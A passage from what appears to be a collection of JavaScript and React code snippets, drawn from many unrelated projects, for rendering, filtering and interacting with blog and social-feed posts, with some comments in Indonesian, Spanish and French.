class=\"material-icons\">comment</i><span>${posts[post][\"comments\"] ? Object.values(posts[post][\"comments\"]).length : \"0\"}</span></a>\n <a class=\"edit-post teachers-font\">Editar</a>\n <a id=\"delete-${post}\" class=\"remove-post teachers-font\">Eliminar</a>\n <a class=\"teachers-font create-comment\" id=\"create-comment-${post}\">Comentar</a>\n </div>\n <div id=\"create-comments-section-${post}\"></div>\n <div class=\"comments-section div-responsive\" id=\"comments-section-${post}\">\n \n </div>\n </div>\n\n \n `\n\n document.getElementById(\"comments-section-\"+post).style.display = \"none\"\n\n if (posts[post].likes !== undefined && Object.keys(posts[post].likes).indexOf(firebase.auth().currentUser.uid) !== -1) {\n document.getElementById(post).innerHTML = `\n <i class=\"material-icons\">star</i><span>${posts[post].likes ? Object.values(posts[post].likes).length : \"0\"}</span>\n `\n }\n // console.log(\"creando funciones\")\n let likeButtons = document.getElementsByClassName(\"like\");\n for (let i = 0; i < likeButtons.length; i++) {\n likeButtons[i].addEventListener(\"click\", setLikePost)\n }\n let commentsButtons = document.getElementsByClassName(\"comments\");\n for (let i = 0; i < commentsButtons.length; i++) {\n commentsButtons[i].addEventListener(\"click\", showComments)\n }\n let createCommentsButtons = document.getElementsByClassName(\"create-comment\");\n for (let i = 0; i < createCommentsButtons.length; i ++) {\n createCommentsButtons[i].addEventListener(\"click\", createComment)\n }\n\n let deletePost = document.getElementsByClassName(\"remove-post\");\n for (let i = 0; i < deletePost.length; i ++) {\n deletePost[i].addEventListener(\"click\", removePost)\n }\n\n \n\n // document.getElementById(post).addEventListener(\"click\", setLikePost)\n // document.getElementById(\"comments\"+post).addEventListener(\"click\", showComments)\n \n }\n}", "function showAllPosts() {\n\tfor(var i = 0; i < allPosts.length; i++) {\n\t\tallPosts[i].style.display = \"initial\";\n\t}\n}", "function viewPostForUpdate(pst){\n\tvar singlePost = pst;\n\tvar main = $(\".note-container\");\n\tmain.html(\"\");\n\tvar userInformation = singlePost[0].user_info[0];\n\tvar postText = singlePost[0].post_text;\n\tvar postId = singlePost[0].post_id;\n\tvar postTitle = singlePost[0].post_title;\n\tvar postCategoryId = singlePost[0].category_id;\n\tvar firstName = userInformation.first_name;\n\tvar lastName = userInformation.last_name;\n\tvar imageId = userInformation.image;\n\tvar gender = userInformation.gender;\n\tvar userId = userInformation.user_id;\n\tvar postType = singlePost[0].post_type;\n\tvar imageLocation;\n\tvar likeClass = \"\";\n\tvar unlikeClass = \"\";\n\n\t$(\".user-name\").html(firstName+\" \"+lastName);\n\t$('[data-topicid~='+postCategoryId+']').addClass(\"selected\");\n\t$(\"#postTitle\").val(postTitle);\n\t$(\"#postId\").val(postId);\n\t$(\"#topicId\").val(postCategoryId);\n\t$(\"#userId\").val(userId);\n\t$(\".nicEdit-main\").html(postText);\n}", "renderPost() {\n let postId = this.props.match.params.postid;\n let post = this.props.post;\n return (\n <div>\n <div>\n <div className=\"post-detail-vote-button-container\">\n <button className=\"vote-button\" name={postId} onClick={this.handleUpvote}>▲</button>\n <p className=\"vote-count\">{post.votes}</p>\n <button className=\"vote-button\" name={postId} onClick={this.handleDownvote}>▼</button>\n </div>\n <div>\n <h3 className=\"post-detail-title\">{post.title}</h3>\n <i>{post.description}</i>\n </div>\n </div>\n <p>{post.body}</p>\n <div className=\"post-detail-button-container\">\n <button className=\"post-detail-button\" onClick={this.showEditForm}>Edit</button>\n <button className=\"post-detail-button\" onClick={this.handleDelete}>Delete</button>\n </div>\n <div className=\"post-comments\">\n <CommentList postId={postId} />\n </div>\n </div>\n );\n }", "function render() {\n //empty existing posts from view\n $nationalparks.empty();\n\n //pass 'allParks' into template function\n var parksHtml = getAllNationalparksHtml(allParks);\n\n //append html to view\n $nationalparks.append(parksHtml);\n}", "function hideAnyPostItemPreview() {\n //debug(\"hideAnyPostItemPreview\");\n if ($lastPreviewedItem !== null)\n hidePostItemPreview($lastPreviewedItem);\n}", "async userIndex({view, auth}) {\n const posts = await auth.user.posts().fetch();\n\n return view.render('posts', { posts: posts.toJSON() });\n }", "function fetchPostsAnon() {\n const feed = document.querySelector('#feed');\n fetch(`${API_URL}/post/public`, {\n method: 'GET',\n })\n //check status messages \n .then(res => {\n console.log(res.status);\n return res.json();\n })\n //create each post element, add to them and append post to feed \n .then(json => {\n json.posts.sort(function(a,b) {\n return a.meta.published < b.meta.published;\n }); \n //upon succesful login, clear feed and append new feed \n while (feed.firstChild) {\n feed.removeChild(feed.firstChild);\n } \n feedHeader();\n //add to feed \n json.posts.forEach(post => {\n //create post list element\n const postElement = helper.createEleTextless('li', 'post')\n feed.appendChild(postElement);\n\n //create divs for each post bit \n //vote\n const vote = helper.createEleTextless('div', 'content');\n postElement.appendChild(vote);\n\n //MINI-DIV: CONTENT. Filled with the content of the post ofc. \n const content = helper.createEleTextless('div', 'content');\n postElement.appendChild(content);\n //title\n const postTitle = helper.createEle('h3', post.title, 'post', 'alt-text', 'post-title');\n //author\n //Create author node \n const time = helper.unixStampConverter(parseInt(post.meta.published));\n const author = helper.createEle('p', `Posted by ${post.meta.author} on ${time} \n to s/${post.meta.subseddit}`, 'post-author'); \n //text \n const postText = helper.createEle('p', post.text, 'post', 'text');\n\n const image = document.createElement('img');\n //create image if image is not null\n if(post.image !== NO_IMAGE) {\n image.src = `data:image/jpg;base64,${post.image}`;\n }\n helper.appendToParent(content,postTitle, postText, image, author);\n });\n })\n .catch(error => {\n //alert(\"He's dead Jim (Issue loading feed)\");\n });\n}", "function displayAdmin() {\n if (localStorage.getItem('x-auth-token')) {\n document.getElementById('postBtn').style.display='block';\n document.getElementById('login-icon').style.display='none';\n document.getElementById('logout-icon').style.display='block';\n //you are logged in, hide the log in, show log out and show post button\n }\n}", "function RenderPost(hash) {\n // Ingat, kita telah memiliki variable 'hash' yang isinya adalah url setelah tanda pagar\n // ex: '#/post/2' atau '#/post/3'\n\n // Menjalankan Function HideOtherPage dengan passing paramter bernilai 'post'\n // sehingga halaman lain akan disembunyikan sedangkan halaman 'post' tidak\n HideOtherPage('post')\n\n /*\n Mengambil paramter ID setelah url '#/post/{id}'\n\n Untuk mengambilnya memang agak ribet, tapi InsyaaAllah bakalan mudah kalau kita mau baca\n referensinya. Jadi untuk awal kita mendeklarasikan variable 'url' dimana variable ini\n akan kita jadikan acuan untuk pencarian 'id'\n */\n var url = '/post/'\n\n\n /*\n Kita mencari tahu dimana posisi tulisan '/post/' dan mengambil tulisan yang ada setelah tulisan tsb yaitu 'id' nya.\n indexOf ini fungsinya untuk mencari posisi.\n referensi: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf\n */\n var idPosition = hash.indexOf(url) + url.length\n\n // Setelah mengetahui posisi ID, sekarang kita ambil id tersebut dengan cara mensubsitusikan string tersebut\n // referensi: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr\n var id = hash.substr(idPosition, hash.length)\n\n // Kemudian jalan function getPostById dengan parameter 'id' yang telah kita dapatkan tadi\n var post = getPostById(id)\n\n // Kita membuat template lagi\n var template = [\n '<img src=\"'+ post.cover +'\" />',\n '<div class=\"post-content\">',\n '<h1>'+ post.title +'</h1>',\n '<p>'+ post.content +'</p>',\n '</div>'\n ]\n\n // Lalu menyatukannya kemudian langsung memasukkannya kedalam html dari elemen ber-id 'post'\n $('#post').html(template.join(''))\n }", "render() {\n // console.log(\"In Blog Card\", this.props.currentUser.userId)\n let { blog } = this.props\n return (\n <div>\n {this.state.showEditForm\n ? this.handleEdit()\n : <div className=\"blogStory\">\n <div>\n {blog.user.id === this.props.currentUser.userId\n ? <button onClick={this.toggleEditForm}>Edit</button>\n : null\n }\n {blog.user.id === this.props.currentUser.userId\n ? <button onClick={this.handleDelete}>Delete</button>\n : null\n }\n </div>\n <h3>{blog.title}</h3>\n {/* <h4>{blog.cover_image}</h4> */}\n <h4>by {blog.user.name}</h4>\n <p className=\"story\">{blog.story}</p>\n {/* <h5>likes {blog.likes}</h5> */}\n <br />\n <div>\n <h4>Comments</h4>\n <div>\n <MakeComment blogId={blog.id} currentUser={this.props.currentUser} newCommentState={this.props.newCommentState} />\n </div>\n <div>\n {this.renderComments()}\n </div>\n </div>\n <br/>\n </div>\n }\n </div>\n )\n }", "render() {\n\t return (\n\t \t<div className=\"content-container\">\n\t \t{\n\t \t this.state.posts.map ((item, value) => (\n\t \t \t<PostItem key={item.contentId} contentType={item.contentType} \n\t \t \timgUrls={item.thumbnails[1].url} headline={item.metadata.headline}/>\n\t \t ))\n\t \t}\t \n\t </div>\n\t );\n\t}", "loadPosts() {\n if (this.props.thread.posts) {\n return (\n Object.keys(this.props.thread.posts).map(key =>\n <Post\n key={key}\n arraykey={key}\n post={this.props.thread.posts[key]}\n username={this.props.username}\n userid={this.props.userid}\n opname={this.props.thread.postername}\n opid={this.props.thread.posterid}\n updatePost={this.updatePost}\n deletePost={this.deletePost}\n />\n ))\n }\n }", "function cleanPosts(posts, currentUserId, viewContext) {\n posts = [].concat(posts);\n var viewables = viewContext;\n var viewablesType = 'boolean';\n var boards = [];\n if (_.isArray(viewContext)) {\n boards = viewContext.map(function(vd) { return vd.board_id; });\n viewablesType = 'array';\n }\n\n return posts.map(function(post) {\n\n // if currentUser owns post, show everything\n var viewable = false;\n if (currentUserId === post.user.id) { viewable = true; }\n // if viewables is an array, check if user is moderating this post\n else if (viewablesType === 'array' && _.includes(boards, post.board_id)) { viewable = true; }\n // if viewables is a true, view all posts\n else if (viewables) { viewable = true; }\n\n // remove deleted users or post information\n var deleted = false;\n if (post.deleted || post.user.deleted || post.board_visible === false) { deleted = true; }\n\n // format post\n if (viewable && deleted) { post.hidden = true; }\n else if (deleted) {\n post = {\n id: post.id,\n hidden: true,\n _deleted: true,\n thread_title: 'deleted',\n user: {}\n };\n }\n\n if (!post.deleted) { delete post.deleted; }\n delete post.board_visible;\n delete post.user.deleted;\n return post;\n });\n}", "function getAllPosts(req, res, next) {\n Post.find({}).populate('comments')\n .then((data) => {\n data.map((post) => {\n post.isOwner = (req.user == post.author);\n });\n req.response.content = data;\n next();\n }).catch((err) => res.send(err))\n}", "render() {\n const { intl, isLoggedIn, handleLoginPress } = this.props;\n\n return (\n <View style={styles.container}>\n <Header />\n {isLoggedIn ? (\n <PointsContainer>\n {({\n handleOnDropdownSelected,\n claimPoints,\n fetchUserActivity,\n isClaiming,\n isDarkTheme,\n isLoading,\n refreshing,\n userActivities,\n userPoints,\n }) => (\n <Points\n claimPoints={claimPoints}\n fetchUserActivity={fetchUserActivity}\n isClaiming={isClaiming}\n isDarkTheme={isDarkTheme}\n isLoading={isLoading}\n refreshing={refreshing}\n userActivities={userActivities}\n userPoints={userPoints}\n handleOnDropdownSelected={handleOnDropdownSelected}\n />\n )}\n </PointsContainer>\n ) : (\n <NoPost\n style={styles.noPostContainer}\n isButtonText\n defaultText={intl.formatMessage({\n id: 'profile.login_to_see',\n })}\n handleOnButtonPress={handleLoginPress}\n />\n )}\n </View>\n );\n }", "function displayPosts(post) {\n\n //s'il s'agit du tout 1er message il reçoit le message 'new'\n let newest = '';\n if (isFirst) {\n newest = '<p class=\"new\">New</p>';\n }\n\n let img = '';\n if (post.imageURL !== null) {\n img = '<p id=\"para__Img\"><img src=\"' + post.imageURL + '\" alt=\"image publiée par l\\'utilisateur\"></p>';\n }\n document.getElementById('main').innerHTML +=\n `<article class = \"card\" \"data-key\"=${post.id}>\n ${newest}\n <header class = \"card__header card__header--avatar\">\n <img src=\"./images/20456790.jpg\" alt=\"photo profil de l'utilisateur\" class=\"card__avatar\">\n <div class=\"card__pseudo\">${post.User.username}</div>\n <div class=\"card__time\">${new Date(post.createdAt).toLocaleDateString('fr-FR', { year: \"numeric\", month: \"long\", day: \"numeric\" })}</div>\n <a id=\"title__link\" href=\"./singlePost.html?id=${post.id}\"><h2 class=\"card__title\">${post.title}</h2>\n </a>\n </header>\n <div id =\"card__body\">\n ${img}\n <p class =\"card__text\">${post.content}</p>\n </div>\n <footer class=\"card__footer\">\n <div class=\"card__like\">\n <a href=\"#\"><i class=\"far fa-thumbs-up\" aria-hidden=\"true\"></i></a>\n </div>\n <div class=\"card__dislike\">\n <a href=\"#\"><i class=\"far fa-thumbs-down\" aria-hidden=\"true\"></i></a>\n </div>\n <div id=\"card__comments\"><a href=\"./singlePost.html?id=${post.id}\"><i class=\"far fa-comment-alt\" aria-hidden=\"true\"></i></a></div>\n </footer>\n </article>`\n\n const paraImg = document.getElementById('para__Img');\n\n}", "function displayPosts() {\n var posts = JSON.parse(this.response);\n var postsContainer = $(\"#posts\");\n for (var i=0; i<posts.length; i++) {\n postsContainer.append(\"<li>\" + posts[i].body + \"</li>\")\n }\n }", "async function showPostView() {\n // hide everything except clicked post\n let thisPost = this.parentElement.parentElement;\n id(\"post-comments\").innerHTML = \"\";\n id(\"search-term\").value = \"\";\n let posts = qsa(\".card\");\n for (let post of posts) {\n if (post.id !== thisPost.id) {\n post.parentElement.parentElement.querySelector(\".content\").classList.add(\"hidden\");\n post.classList.add(\"hidden\");\n }\n }\n thisPost.querySelector(\".content\").classList.remove(\"hidden\");\n\n // increment views\n let viewCounter = this.parentElement.parentElement.querySelector(\".views\");\n incrementStats(viewCounter, \"views\");\n\n // display comments\n let comments = formatResults(await getComments(thisPost.id));\n for (let comment of comments) {\n let newComment = generateComment(comment);\n id(\"post-comments\").appendChild(newComment);\n }\n id(\"comments\").classList.remove(\"hidden\");\n }", "render() {\n return (\n <div>\n <StandardNavBar />\n <WallPostList />\n <Footer />\n </div>\n )\n }", "function singlePost() {\n // get post id from data-id attr\n var dataId = $(this).attr('data-id');\n // assign posts object to a variable\n var posts = memory.posts;\n // loop through posts object\n for (var i = 0; i < posts.length; i++) {\n // get post id:s from posts object\n var postId = memory.posts[i].id;\n // check if we have the same post id that came form data-id attr\n if (dataId == postId) {\n // call displaySinglePost method\n memory.posts[i].dispalySinglePost();\n }\n }\n }", "render() {\n const {post, redirectToHome, redirectToSignin, comments} = this.state;\n if(redirectToHome)\n return <Redirect to={`/`} />;\n if(redirectToSignin)\n return <Redirect to={`/signin`} />\n\n return (\n <div className=\"container\">\n <h2 className=\"display-4 mt-3\" align=\"center\">{post.title}</h2>\n {/*if post is not populated yet, then display loading */}\n { !post ? (\n <div className=\"jumbotron text-center\">\n <h2>Loading ... </h2></div>\n ):\n (this.renderPost(post))\n }\n\n <Comment postId={post._id} comments={comments} updateComments={this.updateComments}/>\n </div>\n );\n }", "displayPosts() {\n const { data } = this.props;\n\n return data.posts.map(post => {\n return (\n <ListGroupItem key={post.id} value={post.id}>\n <Media>\n <Media heading>\n {/* Pass ID through here, make call */}\n <Link\n to={{\n pathname: `/post/${post.id}`,\n state: { id: post.id }\n }}\n style={{ textDecoration: 'none', color: 'black' }}\n >\n {post.heading}\n </Link>\n </Media>\n </Media>\n <PostFooter\n id={post.id}\n heading={post.heading}\n text={post.text}\n upvotes={post.upvotes}\n mainPage={true}\n />\n </ListGroupItem>\n );\n });\n }", "function viewPost(e){\n\te.preventDefault();\n\tif(e.target.classList.contains(\"view_post\")){\n\t\tconst tmp = e.target.id\n\t\tconst pid = tmp.split(\"-\")[1]\n\t\tconst uid = tmp.split(\"-\")[2]\n\n \t$.ajax({\n \ttype: \"GET\",\n \turl: '/sessionChecker',\n \tcache: false,\n \tsuccess: function(data, status) {\n \t\tif(data.signIn) {\n \t\t\twindow.open('../post?id=' + pid + '&owner=' + uid);\n \t} else {\n \t\talert(\"PLEASE SIGN IN TO CONTINUE\");\n \t}\n \t},\n \terror: function(xhr, textStatus, errorThrown) {\n \tconsole.log('Error! Status = ' + xhr.status);\n \t}\n \t});\n\n\t}\n}", "function FeedPost({ post }) {\n const { imgUrl, user, caption, postId, comments } = post;\n return (\n <div className=\"post\">\n <div className=\"post__top\">\n <Avatar alt={user} src=\"./unknown.png\" />\n <Link to={`/profile/${user}`}>\n <p className=\"post__username\">{user}</p>\n </Link>\n </div>\n {/* Avatar and username */}\n\n <img className=\"post__image\" src={imgUrl} alt=\"post\" />\n {/* Picture */}\n\n {/* <PostLike /> */}\n\n <p className=\"post__text\">\n <strong>{user}: </strong>\n {caption}\n </p>\n {/* Caption */}\n\n <Comments comments={comments} />\n {/* Comments */}\n\n <AddComment postId={postId} />\n {/* Add comment */}\n </div>\n );\n}", "async personalizePerUser () {\n\t\tthis.renderedPostPerUser = {};\n\t\tfor (let user of this.toReceiveEmails) {\n\t\t\tawait this.personalizeRenderedPostPerUser(user);\n\t\t}\n\t}", "render() {\n return (\n <div>\n <h1>Posts</h1>\n {\n this.state.posts.map(post =>{\n return <div key={post.id}>\n <h1>{post.title} </h1>\n <p>{post.body} </p>\n </div>\n })\n }\n </div>\n )\n }", "function viewPosts(pst,category,limit){\n\n\tvar main = $(\"#postContainer\");\n\tmain.html(\"\");\n\tvar posts = pst;\n\tvar postsLength = posts.length;\n\tvar showMore = \"\";\n\tif(limit > postsLength){\n\t\tshowMore = \"\";\n\t}else{\n\t\tif(category){\n\t\t\tshowMore = '<button class=\"show-more btn btn-default\" id=\"showMoreCategory\">Show More</button>';\n\t\t}else{\n\t\t\tshowMore = '<button class=\"show-more btn btn-default\" id=\"showMore\">Show More</button>';\n\t\t}\n\t}\n\tvar numFix = 0;\n\tfor(var i=0; i<postsLength;i++){\n\t\tvar userInformation = posts[i].user_info[0];\n\t\tvar userId = posts[i].user_id;\n\t\tvar commentMode = posts[i].comment_mode;\n\t\tvar like = posts[i].like;\n\t\tvar numLikes = posts[i].num_likes;\n\t\tvar numUnlikes = posts[i].num_unlikes;\n\t\tvar numComments = posts[i].num_comments;\n\t\tvar postDate = formatDate(posts[i].post_date);\n\t\tvar postId = posts[i].post_id;\n\t\tvar postText = posts[i].post_text;\n\t\tvar postTitle = posts[i].post_title;\n\t\tvar postCategory = posts[i].category_name;\n\t\tvar publicityMode = posts[i].publicity_mode;\n\t\tvar unlike = posts[i].unlike;\n\t\tvar firstName = userInformation.first_name;\n\t\tvar lastName = userInformation.last_name;\n\t\tvar imageId = userInformation.image;\n\t\tvar gender = userInformation.gender;\n\t\tvar postType = posts[i].post_type;\n\t\tvar imageLocation;\n\t\tvar likeClass = \"\";\n\t\tvar unlikeClass = \"\";\n\t\n\t\t/*Changes the image*/\n\t\tif(imageId==\"\" || imageId==1 || imageId==0){\n \t if(gender==\"Male\"){\n \t imageLocation = \"./images/male_profile.jpg\";\n \t }else if(gender==\"Female\"){\n \t imageLocation = \"./images/female_profile.jpg\";\n \t }\n \t}else{\n \t imageLocation = \"./images/\"+imageId; \n \t}\n\n\t\tif(postText.length>400){\n\t\t\tpostText = postText.slice(0,303)+\" ... \";\n\t\t\tpostText += '<a class=\"read-more\" href=\"viewpost.php?pid='+postId+'\">Read More</a>';\n\t\t}\n\n\t\tif(postTitle.length > 100){\n\t\t\tpostTitle = postTitle.slice(0,80);\n\t\t\tpostTitle += \" ... \";\n\t\t}\n\n\t\tif(like){\n\t\t\tlikeClass = \"liked\";\n\t\t}\n\t\tif(unlike){\n\t\t\tunlikeClass = \"unLiked\";\n\t\t}\n\t\tvar post = '<div class=\"posts-container\"><div class=\"row\"><div class=\"col-md-2 col-xs-3\"><img src=\"'+imageLocation+'\" class=\"profile-image\" alt=\"\"></div><div class=\"col-md-10 col-xs-9\"><p class=\"user-name\"><a href=\"profile.php?uid='+userId+'\">'+firstName+' '+lastName+'</a></p><p>'+postDate+'</p><p class=\"postTag\">#'+postCategory+'</p></div></div><div class=\"row\"><p class=\"title\"><a href=\"#\" class=\"post-title\">'+postTitle+' </a></p><p class=\"post\">'+postText+' </p></div><div class=\"row\"><div class=\"col-lg-12 col-md-12 col-sm-12 col-xs-12\"><div class=\"row\"><div class=\"col-xs-4 tab like '+likeClass+'\" id=\"like\" data-postId=\"'+postId+'\"><i class=\"fas fa-thumbs-up\"></i><span class=\"numLike\">'+numLikes+'</span></div><div class=\"col-xs-4 tab dislike '+unlikeClass+'\" id=\"dislike\" data-postId=\"'+postId+'\"><i class=\"fas fa-thumbs-down\"></i><span class=\"numDislike\">'+numUnlikes+'</span></div><div class=\"col-xs-4 tab comment\" id=\"comment\" data-postId=\"'+postId+'\"><i class=\"fas fa-comment\"></i><span class=\"numComment\">'+numComments+'</span></div></div></div></div></div>';\n\t\tmain.append(post);\n\t}\n\tmain.append(showMore);\n}", "function showAllPosts(text) {\n // Grab the pinboard div from the page\n pinboardElement = document.getElementById('pinboard');\n // Decode the post data\n postData = JSON.parse(text);\n // Clear the pinboard\n pinboardElement.innerHTML = '';\n // Loop through the postData\n postData.forEach(function (post) {\n console.log('here');\n // Show the item\n pinboardElement.innerHTML += '<div class=\"post\"><a class=\"title\" href=\"' + post.url + '\">' + post.title + '</a><span class=\"meta\">Posted ' + post.date + ' by ' + post.user + '</span></div>';\n });\n \n // TODO: Make the back button work\n}", "function renderPost() {\n let result_post = document.querySelector(\"#post-result\");\n let template = document.querySelector(\"#post-template\");\n result_post.innerHTML = \"\";\n for (i in posts) {\n let el = template.cloneNode(true);\n el.querySelector(\".card-header > h6\").innerText = `${posts[i].date}`;\n el.querySelector(\".card-header > .pointer\").setAttribute(\n \"onclick\",\n `removePost(${i})`\n );\n el.querySelector(\n \".card-body > .card-text\"\n ).innerText = `${posts[i].message}`;\n el.style.display = \"block\";\n result_post.appendChild(el);\n }\n}", "render(){\n const toRender = this.state.visible ? (<PostDetails />) : (<GetPeminjaman />);\n return (\n <div className='Peminjaman'>\n <Button onClick={() => { this.setState({visible: !this.state.visible}) }}>Change View!</Button>\n <br />{toRender}\n </div>\n );\n }", "function renderPosts(posts) {\n //delete\n \n let divchild = document.createElement(\"div\");\n let article = document.createElement(\"p\");\n let title = document.createElement(\"h2\");\n \n divchild.setAttribute(\"class\", \"post\");\n\n title.appendChild(document.createTextNode(posts[0].title));\n \n article.appendChild(document.createTextNode(posts[0].body))\n \n divchild.appendChild(title)\n divchild.appendChild(article)\n \n divContenedorPost.appendChild(divchild);\n\n \n}", "visiblePosts() {\n return Array.from(this.postTargets).filter((post) => {\n let postTop = post.getBoundingClientRect().y\n let postBottom = postTop + post.offsetHeight\n return (postTop > 64 && postTop < window.innerHeight) || (postBottom > 64 && postBottom < window.innerHeight) || (postTop < 64 && postBottom > window.innerHeight)\n })\n }", "function displayPost() {\n console.log('Post Title');\n console.log('Post Content');\n}", "render(){\n\t\t if(!this.props.post){\n\t\t \treturn <div>Loading....</div>\n\t\t }\n\t\treturn(\n <div>\n <div> {this.props.params.id}</div>\n <h3>Post</h3>\n ju\n </div>\n\t );\n\t}", "render() {\n\t\tif (this.state.post.length === 0) {\n\t\t\treturn <div />;\n\t\t}\n\n\t\tconst { title, content } = this.state.post[0];\n\t\treturn (\n\t\t\t<div className=\"post-page\">\n\t\t\t\t<h1 className=\"ui header\">{title.rendered}</h1>\n\t\t\t\t<div dangerouslySetInnerHTML={{ __html: content.rendered }} />\n\t\t\t</div>\n\t\t);\n\t}", "function Feed({posts}) {\n\n return (\n <div>\n <ul>\n {images.map((image) => {\n return (\n <PhotoPost \n key={image.id}/>\n )\n })}\n </ul>\n <Toggles />\n </div>\n )\n // return (\n // <div>\n // <h3>photos will show up here </h3>\n // <PhotoPost images={images} />\n // <Toggles />\n // </div>\n // );\n}", "function PostsMain({ posts, ...rest }) {\n return (\n <div className=\"section\">\n <div className=\"PostMain row\">\n <div className=\"PostMain-left-column\">\n <div className=\"row center\">\n <Link to=\"/posts/add\" className=\"PostMain-btn btn-large waves-effect waves-light blue\" >\n Add New Post\n </Link>\n </div>\n <PostList className=\"PostList\" posts={posts} mode={COLLECTION} {...rest} render={\n (post, rest) => (<PostCollectionItem key={post.id} post={post} {...rest} />)\n } />\n </div>\n <div className=\"PostMain-right-column\">\n <Outlet />\n </div>\n </div>\n </div>\n );\n}", "render() {\n console.log(this.props)\n return this.state.editMode && this.props.currentUser.is_admin === true ?\n this.renderEditView()\n :\n this.renderDefaultView()\n }", "function handleClick() {\n if (isAuthenticated) {\n document.getElementById(\"edit\").children[2].style.display = \"none\"; // Show only authorise buttons\n document.getElementById(\"edit\").children[1].style.display = \"none\";\n document.getElementById(\"edit\").children[6].style.display = \"block\";\n document.getElementById(\"edit\").children[5].style.display = \"block\";\n document.getElementById(\"edit\").children[4].style.display = \"block\";\n document.getElementById(\"edit\").children[3].style.display = \"block\";\n }\n if (!isAuthenticated) {\n document.getElementById(\"edit\").children[2].style.display = \"block\";\n document.getElementById(\"edit\").children[6].style.display = \"none\";\n }\n }", "render() {\n const { post } = this.props;\n\n const categories = post.categories.map((category, index) => {\n const delimiter = index === 0 ? \"\" : \",\";\n return (<span key={\"categories-\" + index}>{delimiter} <Link to={`${PUBLIC_PATH}/category/${category.slug}`}>{category.name}</Link></span>)\n });\n\n const tags = post.tags.map((tag, index) => {\n if (index > 2) {\n return null;\n }\n const delimiter = index === 0 ? \"\" : \",\";\n return (<span key={\"tags-\" + index}>{delimiter} <Link to={`${PUBLIC_PATH}/tag/${tag.slug}`}>{tag.name}</Link></span>)\n });\n\n const separator = tags.length > 0 ? \" | \" : \"\";\n\n let coverImage = post.mediumImage ? post.mediumImage : post.image;\n coverImage = coverImage ? coverImage : this.getDefaultImage(post.id);\n\n const postUrl = `https://www.popit.kr/${post.postName}/`;\n const postLink = `${PUBLIC_PATH}/${post.postName}/`;\n const fbLikeUrl = PostApi.getFacebookShareLink(post);\n\n return (\n <div className=\"post\" style={{position: 'relative'}}>\n <div>\n <a href={postLink}><img src={coverImage} style={{width: 230, height: 130}}/></a>\n </div>\n {\n this.props.showNext === true\n ?\n (\n <div style={{position: 'absolute', top: 45, left: 210}}>\n <Button shape=\"circle\"\n icon=\"right\"\n size=\"large\"\n onClick={this.props.handleNextButton}\n // style={{ color: '#F0F0F0'}}\n />\n </div>\n )\n :\n (<div></div>)\n }\n\n {\n this.props.showPrev === true\n ?\n (\n <div style={{position: 'absolute', top: 45, left: -20}}>\n <Button shape=\"circle\"\n icon=\"left\"\n size=\"large\"\n onClick={this.props.handlePrevButton}\n // style={{ color: '#F0F0F0'}}\n />\n </div>\n )\n :\n (<div></div>)\n }\n <div>\n <a href={postLink}><h3 className=\"post_title\">{decodeHtml(post.title)}</h3></a>\n </div>\n <div style={{marginTop: 5}}>\n\t <ShareButton post_id={post.id} url={postUrl} title={post.title} fbLikeUrl={fbLikeUrl} />\n </div>\n {\n this.props.showAuthor === true\n ?\n (<AuthorCard author={post.author} postDate={post.date}/>)\n :\n (null)\n }\n <div className=\"post_tag\">{categories}{separator}{tags}</div>\n\n {\n this.props.showDescription === true\n ?\n (\n <div>\n <div className=\"post_description\"><div dangerouslySetInnerHTML={{ __html: post.socialDesc }} /></div>\n { (this.props.showDescriptionLink === true) ? (<div className={\"post_description_link\"}><a href={postLink}>[...]</a></div>) : (<div></div>) }\n </div>\n )\n :\n (null)\n }\n </div>\n );\n }", "function filterPosts(post) {\n let valid = true;\n\n // Exclude posts with no message\n if (!post.message) {\n valid = false;\n }\n\n // Exclude posts updating cover photos\n if (post.story && post.story.includes('cover photo')) {\n valid = false;\n }\n\n return valid;\n }", "function showLimitedPosts(response){\n\n /* html to format the posts displayed*/\n var startFormatContent = \"<div class='row' id='feed'><div class='col-md-3 col-xs-12'></div><div class='col-md-8 col-xs-12' id='post'>\";\n var endFormatContent = \"<hr></div></div>\";\n\n var content = \"\"; // empty string to store the whole div before adding it to html\n response.map(function(eachPost){\n content = \"\";\n var userId = eachPost.from.id; //saving userid for accessing their profile picture\n pictureUrl = \"https://graph.facebook.com/\"+ userId + \"/picture?type=large\"; //saving url of profile picture of user\n switch (eachPost.type) { // for checking which type of post user posted\n case \"status\":\n content += startFormatContent;\n content += \"<img class='feed-img' id='feed-img-id' src='\" + pictureUrl + \"' alt='pic'>\";\n content += \"<p class='feed-img'> \" + eachPost.from.name + \"</p>\";\n content += \"<p class='feed-img time'>\" + dateFormat(eachPost.created_time) + \"</p>\";\n content += \"<p class='format-msg'>\" + checkMessage(eachPost.message) + \"</p>\";\n content += \"<p class='feed-img'> \" + checkMessage(eachPost.story) + \"</p>\";\n content += endFormatContent;\n $(\"div#myfeed\").append(content);\n break;\n\n case \"photo\":\n content += startFormatContent;\n content += \"<img class='feed-img' id='feed-img-id' src='\" + pictureUrl + \"' alt='pic'>\";\n content += \"<p class='feed-img'> \" + eachPost.from.name + \"</p>\";\n content += \"<p class='feed-img time'>\" + dateFormat(eachPost.created_time) + \"</p>\";\n content += \"<p class='format-msg'>\" + checkMessage(eachPost.message) + \"</p>\";\n content += \"<img src='\" + eachPost.picture + \"' class='post-img' alt='post pic'>\";\n content += endFormatContent;\n $(\"div#myfeed\").append(content);\n break;\n\n case \"video\":\n content += startFormatContent;\n content += \"<img class='feed-img' id='feed-img-id' src='\" + pictureUrl + \"' alt='pic'>\";\n content += \"<p class='feed-img'> \" + eachPost.from.name + \"</p>\";\n content += \"<p class='feed-img time'>\" + dateFormat(eachPost.created_time) + \"</p>\";\n content += \"<p class='format-msg'>\" + checkMessage(eachPost.message) + \"</p>\";\n content += \"<video width='240' height='180' controls><source src='\" + eachPost.source +\"' type='video/mp4'></video>\";\n content += endFormatContent;\n $(\"div#myfeed\").append(content);\n break;\n\n case \"link\":\n content += startFormatContent;\n content += \"<img class='feed-img' id='feed-img-id' src='\" + pictureUrl + \"' alt='pic'>\";\n content += \"<p class='feed-img'> \" + eachPost.from.name + \"</p>\";\n content += \"<p class='feed-img time'>\" + dateFormat(eachPost.created_time) + \"</p>\";\n content += \"<p class='format-msg'>\" + checkMessage(eachPost.message) + \"</p>\";\n content += \"<a href='\" + eachPost.link + \"'class='format-msg' style='text-decoration: underline' \\\n target='_blank'><b>\" + checkMessage(eachPost.name) + \"</b></a>\";\n content += \"<p class='format-msg'>\" + 